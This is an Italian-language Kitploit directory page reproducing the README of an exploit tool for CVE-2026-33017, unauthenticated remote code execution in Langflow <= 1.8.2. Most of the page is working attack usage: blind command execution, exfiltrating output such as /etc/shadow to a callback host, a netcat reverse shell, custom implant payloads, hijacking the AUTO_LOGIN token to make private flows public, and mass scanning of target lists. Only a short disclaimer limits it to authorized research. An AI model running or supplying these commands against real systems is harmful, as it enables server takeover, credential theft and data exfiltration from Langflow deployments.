Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-33017-Exploit — # Exploit per CVE-2026-33017 — RCE non autenticato in Langflow <= 1.8.2 tramite exec() nell'endpoint di build dei flow | Kitploit
Strumenti/GitHubGitHub/oscar-mine/cve-2026-33017-exploit
RicognizioneScanner di VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingStrumento di Accesso Remoto
GitHuboscar-mine/cve-2026-33017-exploit

CVE-2026-33017-Exploit

# Exploit per CVE-2026-33017 — RCE non autenticato in Langflow <= 1.8.2 tramite exec() nell'endpoint di build dei flow

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
4 mesi faNon ancora revisionato
Condividi

CVE-2026-33017 - Esecuzione Remota di Codice Non Autenticata in Langflow

root@kitploit:~
        _____
       /     \
      | () () |
       \  ^  /
        |||||

exec() senza autenticazione, senza sandbox, senza speranza.

Langflow <= 1.8.2 consente l'esecuzione remota di codice non autenticata tramite l'endpoint POST /api/v1/build_public_tmp/{flow_id}/flow. I dati del flusso forniti dall'attaccante contenenti Python arbitrario nelle definizioni dei nodi vengono passati direttamente a exec() senza alcuna sandbox.

  • CVSS: 9.8 Critico
  • CWE: CWE-94 (Code Injection), CWE-306 (Missing Authentication)
  • Versioni affette: Langflow <= 1.8.2 (incluse 1.9.0-dev0 fino a dev11)
  • Corretto in: Langflow 1.9.0
  • CISA KEV: Aggiunto il 2026-03-25
  • Sfruttato in natura: Entro 20 ore dalla divulgazione

Kill Chain

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow
  -> chat.py -> start_flow_build() -> build_graph_from_data()
  -> Graph.from_payload() -> loading.py -> eval.py create_class()
  -> validate.py prepare_global_scope() -> exec(compiled_code)
  -> il codice arbitrario viene eseguito come processo del server. game over.

Installazione

root@kitploit:~
git clone https://github.com/oscarmine/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests

Utilizzo

Ricognizione - verifica se il target è vulnerabile

root@kitploit:~
python3 exploit.py --url http://target:7860 --check

Esecuzione di comandi cieca

root@kitploit:~
python3 exploit.py --url http://target:7860 --cmd "id"

Esfiltrazione dell'output tramite callback GET (base64 nel percorso URL)

root@kitploit:~
# Terminale 1: avvia il listener
python3 -m http.server 8080

# Terminale 2: lancia l'exploit
python3 exploit.py --url http://target:7860 --cmd "id" \
  --callback-get http://your-ip:8080

# Decodifica il base64 dai log del tuo listener:
echo "dWlkPTEwMDAo..." | base64 -d

Esfiltrazione dell'output tramite callback POST (output grezzo nel body)

root@kitploit:~
# Terminale 1: avvia il listener
nc -l 8080

# Terminale 2: lancia l'exploit
python3 exploit.py --url http://target:7860 --cmd "cat /etc/shadow" \
  --callback-post http://your-ip:8080

# L'output grezzo arriva direttamente nel body della POST - nessuna decodifica necessaria

Reverse shell

root@kitploit:~
# Terminale 1: avvia il listener
nc -l 4444

# Terminale 2: lancia l'exploit
python3 exploit.py --url http://target:7860 --revshell your-ip 4444

Payload Python personalizzato

root@kitploit:~
python3 exploit.py --url http://target:7860 --payload-file implant.py

Regole per il file payload:

  • Il codice viene eseguito a livello di modulo tramite exec() all'interno di prepare_global_scope()
  • Deve utilizzare assegnazioni (es. _x = os.popen(...).read()) perché il filtro AST esegue solo i nodi Assign, FunctionDef, ClassDef
  • Le chiamate bloccanti dovrebbero usare threading.Thread(daemon=True) per evitare di uccidere l'event loop asincrono

Promozione automatica dei flussi privati

Quando non esistono flussi PUBBLICI ma AUTO_LOGIN è abilitato (impostazione predefinita in molte distribuzioni):

root@kitploit:~
python3 exploit.py --url http://target:7860 --auto-promote --cmd "id"

Questo intercetta il token AUTO_LOGIN, applica una PATCH al primo flusso rendendolo PUBBLICO, quindi lo sfrutta.

Scansione di massa

Scansiona più target da un file (solo verifica della vulnerabilità):

root@kitploit:~
python3 exploit.py --scan-file targets.txt
python3 exploit.py --scan-file targets.txt --threads 20 --scan-output results.txt

Formato di targets.txt:

root@kitploit:~
http://10.10.10.5:7860
http://10.10.10.6:7860
192.168.1.100:7860
# i commenti vengono ignorati

L'output mostra:

  • Rilevamento della versione (vulnerabile / corretta)
  • Stato di AUTO_LOGIN (token gratuito = escalation facile)
  • Numero di flussi pubblici (pronti da sfruttare immediatamente)

Proxy tramite Burp

root@kitploit:~
python3 exploit.py --url http://target:7860 --cmd "id" \
  --proxy http://127.0.0.1:8080

Come funziona

  1. Controllo versione - interroga /api/v1/version per identificare il target
  2. Scoperta dei flussi - usa AUTO_LOGIN (se abilitato) per enumerare i flussi e trovare quelli PUBBLICI
  3. Iniezione del payload - crea un grafo di flusso minimale con un nodo CustomComponent contenente Python malevolo nel campo code
  4. Esecuzione del codice - invia una POST a /api/v1/build_public_tmp/{flow_id}/flow con il parametro data appositamente costruito. Langflow compila il grafo, che chiama create_class() -> prepare_global_scope() -> exec() sul codice dell'attaccante

La correzione nella v1.9.0 rimuove completamente il parametro data, costringendo l'endpoint a utilizzare solo i dati del flusso memorizzati nel database.

Analisi della patch

Riferimenti

  • NVD - CVE-2026-33017
  • JFrog Research - analisi del bypass della patch
  • Sysdig - sfruttamento in 20 ore
  • CISA KEV
  • Commit della correzione
  • GitHub Advisory: GHSA-rvqx-wpfh-mfx7

Disclaimer

Questo strumento è destinato esclusivamente alla ricerca sulla sicurezza autorizzata. Utilizzalo solo contro sistemi per cui hai esplicito permesso di test. L'autore non è responsabile per un uso improprio.

Scarica lo strumento
VersioneStato
<= 1.8.1Vulnerabile
1.8.2Fix dichiarato nel changelog ma il codice non è mai stato modificato (confermato da JFrog)
1.9.0-dev0 fino a dev11Ancora vulnerabile
1.9.0Effettivamente corretto - parametro data rimosso dall'endpoint